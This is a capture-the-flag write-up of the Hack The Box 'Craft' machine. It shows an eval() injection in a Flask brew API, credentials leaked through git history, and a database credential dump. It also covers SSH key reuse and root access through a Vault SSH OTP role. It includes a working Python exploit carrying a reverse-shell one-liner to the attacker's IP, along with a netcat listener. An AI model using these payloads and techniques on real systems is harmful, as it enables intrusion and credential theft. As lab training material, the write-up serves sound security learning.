As usual, we started out by scanning for open ports:
root@kali:~# nmap -sV -p- 10.10.10.110
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-23 06:33 UTC
Nmap scan report for 10.10.10.110
Host is up (0.018s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp open ssl/http nginx 1.15.8
5355/tcp filtered llmnr
6022/tcp open ssh (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.70%I=7%D=9/23%Time=5D886761%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.50 seconds
After we've enumerated the listening ports, we began browsing the website on TCP port 443.
A landing page greeted us and provided us with two distinct links on two different subdomains, api
and gogs
.
But before being able to access them we had to add them to our hosts file.
:::bash echo '10.10.10.110 craft.htb api.craft.htb gogs.craft.htb' >> /etc/hosts
As soon as we've reached gogs.craft.htb
, we started looking for publicly accessible git repositories.
Sure enough we found the repository for the API, exposed at api.craft.htb
.
After just a few minutes of browsing the source code, we found a major flaw in
the brew
endpoint used to add a new beer.
The vulnerable endpoint is located at craft_api/api/brew/endpoints/brew.py
:
@ns.route('/')
class BrewCollection(Resource):
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201
The use of eval
stood out like a sore thumb, it evaluates user controlled
input (POST body field abv
). The only thing which held us back from abusing
this endpoint, was the fact that we first had to authenticate in order to use the API,
as indicated by the @auth.auth_required
decorator.
We consulted the source once again to find out what kind of authentication we
were dealing with. craft_api/api/auth/endpoints/auth.py
read:
def auth_login():
auth = request.authorization
try:
auth_results = User.query.filter(User.username == auth.username, User.password == auth.password).one()
except:
auth_results = ''
if type(auth_results) is User:
token = jwt.encode({'user': auth.username, 'exp' : datetime.datetime.utcnow() + datetime.timedelta(minutes=5)}, secret)
return jsonify({'token' : token.decode('UTF-8')})
return make_response('Authentication failed', 401, {'WWW-Authenticate' : 'Basic realm="Craft API Login"'})
@ns.route('/login')
class AuthCollection(Resource):
def get(self):
"""
Create an authentication token provided valid username and password.
"""
token = auth_login()
return token
We found our answer, we had to provide a username and password to authenticate with basic-auth. The response should provide us with a JWT token.
The auth_required
decorator, which was preventing us from consuming the
/brew
endpoint, read:
def auth_required(f):
@wraps(f)
def decorated(*args, **kwargs):
if 'X-Craft-Api-Token' in request.headers:
token = request.headers['X-Craft-Api-Token']
try:
token_decoded = jwt.decode(token, secret)
except:
return {'message' : 'Invalid token or no token found.'}, 403
return f(*args, **kwargs)
return decorated
The auth_required
decorator checks for a valid X-Craft-Api-Token
header value.
After gaining this insight we dug around in the git commits to search for API credentials. A few minutes later, after inspecting each commit, we found what we were looking for:
root@kali:~/craft-api# git show a2d28ed1554adddfcfb845879bfea09f976ab7c1
commit a2d28ed1554adddfcfb845879bfea09f976ab7c1
Author: dinesh <dinesh@craft.htb>
Date: Wed Feb 6 23:18:51 2019 -0500
Cleanup test
diff --git a/tests/test.py b/tests/test.py
index 40d5470..9b0e2e2 100644
--- a/tests/test.py
+++ b/tests/test.py
@@ -3,7 +3,7 @@
import requests
import json
-response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
We immediately tried to authenticate as dinesh
.
Luckily the credentials were valid and granted us access to the API.
A few moments later we built a quick and dirty Python script to authenticate
and invoke the vulnerable endpoint to spawn a reverse shell.
import requests
requests.packages.urllib3.disable_warnings()
BASE_URL = 'https://api.craft.htb/api'
with requests.Session() as session:
session.verify = False
session.auth = ('dinesh', '4aUh0A8PbVJxgd')
token = session.get(BASE_URL + '/auth/login').json()['token']
session.headers.update({'X-Craft-API-Token': token})
session.post(BASE_URL + '/brew/', json={
'brewer': 'brew brew',
'name': 'name name',
'style': 'style 2',
'abv': """exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.12.139',9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])")"""
})
To capture the incoming reverse shell, we started the netcat listener and triggered the exploit.
root@kali:~/craft-api# nc -lvp 9999
listening on [any] 9999 ...
connect to [10.10.12.139] from craft.htb [10.10.10.110] 49522
/bin/sh: can't access tty; job control turned off
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
We've gained an initial foothold on the box. After taking a look around we determined that we ended up inside a docker container.
It took a while for us to figure out where to go from here. After breaching the web server we had to somehow move laterally to carry on, as the docker container did not contain anything that spiked our interest.
After re-reading the source code we realized we completely ignored the database, which is
used to store the users and brews for the API. The dbtest.py
script within
the repository gave us some hints on how to access the database:
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
The settings
module should contain the credentials to access the database.
After we realized settings.py
was present in .gitignore
we used the
still established reverse shell to search for the file. A few seconds later we found it
located under /opt/app/craft_api/settings.py
:
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
To make our lives easier we copied dbtest.py
and modified it to read out all
users from the configured database:
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM user;"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
Then we executed the modified script and got back the credentials:
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
The obtained credentials granted us access to each user's Gogs account and
their respective repositories. After going through each user's account, we
found Gilfoyle's private repository called craft-infra
, the goldmine we were
hoping for.
The docker-compose.yml
file gave us a great overview of the setup we found
ourselves in:
version: '3'
services:
db:
image: mysql
expose:
- "3306"
volumes:
- /opt/storage/mysql:/var/lib/mysql
repo:
image: gogs/gogs
expose:
- "6022"
- "3000"
ports:
- 6022:6022
volumes:
- /opt/storage/gogs:/data
home:
image: craft-flask:master
volumes:
- /opt/storage/craft-home/:/opt/app
expose:
- "8888"
command: [python, ./app.py]
api:
image: craft-flask:master
volumes:
- /opt/storage/craft-api/:/opt/app
expose:
- "8888"
command: [python, ./app.py]
proxy:
image: nginx:latest
volumes:
- /opt/storage/nginx/conf/nginx.conf:/etc/nginx/nginx.conf
- /opt/storage/nginx/pki/:/etc/nginx/pki/
ports:
- 80:80
- 443:443
vault:
image: craft-vault:master
volumes:
- /opt/storage/vault/config:/vault/config
- /opt/storage/vault/pki:/vault/pki
- /opt/storage/vault/log:/vault/logs
- /opt/storage/vault/data:/vault/data
expose:
- "8200"
entrypoint: vault server -config /vault/config/config.hcl
privileged: true
More importantly, we pulled a copy of the SSH public- and private key which were carelessly committed as well. We attempted to connect to the target host:
root@kali:~# ssh -i id_rsa gilfoyle@craft.htb
The authenticity of host 'craft.htb (10.10.10.110)' can't be established.
ECDSA key fingerprint is SHA256:sFjoHo6ersU0f0BTzabUkFYHOr6hBzWsSK0MK5dwYAw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'craft.htb,10.10.10.110' (ECDSA) to the list of known hosts.
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key 'id_rsa':
Bummer, the SSH key required a password.
We didn't think that brute forcing the SSH credentials was necessary at all because it's usually very slow and rarely a part in CTF challenges we've seen before. So instead of overthinking it, we went ahead and re-use the password we've previously obtained from the database.
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 23 09:22:58 2019 from 10.10.12.159
gilfoyle@craft:~$ id
uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)
And sure enough, we gained access as the user account gilfoyle
.
The user.txt
flag was waiting for us as well, so we picked it up.
gilfoyle@craft:~$ ls -ltha
total 36K
drwx------ 4 gilfoyle gilfoyle 4.0K Feb 9 2019 .
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 2 gilfoyle gilfoyle 4.0K Feb 9 2019 .ssh
-rw------- 1 gilfoyle gilfoyle 2.5K Feb 9 2019 .viminfo
drwxr-xr-x 3 root root 4.0K Feb 9 2019 ..
drwx------ 3 gilfoyle gilfoyle 4.0K Feb 9 2019 .config
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
gilfoyle@craft:~$ cat user.txt
bbf4b0cadfa3d4e6d0914c9cd5a612d4
Our final challenge is the root.txt
flag. As you might remember, the
docker-compose.yml
file indicated that there's only one docker container we
haven't visited yet - the vault.
After we picked up the user flag we noticed the .vault-token
file laying around.
This was our way forward. We read the contents of the file:
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
We went back to the repository to gather more information about the configuration of the vault. It turned out the SSH secrets engine was enabled:
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
With this, we had a good idea of how to proceed. We suspected we had to use
vault ssh
to connect to a host as the root
user. Referring back to the
docker-compose.yml
file, we determined that none of the containers exposed an
SSH port which can be used to gain a shell. Which left us with only one way
forward, SSH into localhost.
We invoked vault ssh
and were presented with the OTP code which we simply
had to copy and paste:
gilfoyle@craft:~$ vault ssh root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 2ea20f14-ba74-e89c-6743-55d00e51beac
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)
We got in and captured the root.txt
flag:
root@craft:~# ls -lth
total 4.0K
-r-------- 1 root root 33 Feb 9 2019 root.txt
root@craft:~# cat root.txt
831d64ef54d92c1af795daae28a11591